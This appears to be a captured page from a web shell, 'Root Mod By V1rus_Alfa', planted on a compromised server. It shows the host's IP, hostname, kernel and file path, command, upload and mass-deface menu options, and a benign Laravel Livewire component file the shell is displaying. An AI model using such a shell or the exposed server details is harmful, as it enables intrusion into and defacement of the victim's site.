���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
app
/
Livewire
/
Site
/
Pages
/
Analyze
/
Unit
/
Modal
/
Viewing: AddSlice.php
<?php namespace App\Livewire\Site\Pages\Analyze\Unit\Modal; use Modules\Central\Models\AnalyzeMaterial; use Masmerise\Toaster\Toastable; use LivewireUI\Modal\ModalComponent; class AddSlice extends ModalComponent { use Toastable; public $key; public $slice; public $materials = []; public $form = []; public function back() { return $this->closeModal(); } public function mount($key, $obj) { $this->key = $key; $this->slice = $obj; if (!$this->slice) { return abort(404); } $this->form = [ 'count' => $this->slice['count'], 'label' => locale_is_english() ? $this->slice['label_en'] : $this->slice['label'], 'width' => $this->slice['width'], 'length' => $this->slice['length'], 'width_one' => $this->slice['width_one'], 'width_two' => $this->slice['width_two'], 'length_one' => $this->slice['length_one'], 'length_two' => $this->slice['length_two'], 'material_id' => $this->slice['material_id'], ]; $this->materials = AnalyzeMaterial::get(); } public function handelSubmit() { $this->dispatch('SetRow', ['key' => $this->key, 'row' => $this->form]); $this->forceClose()->closeModal(); } public function render() { return view('livewire.site.pages.analyze.unit.modal.add-slice'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa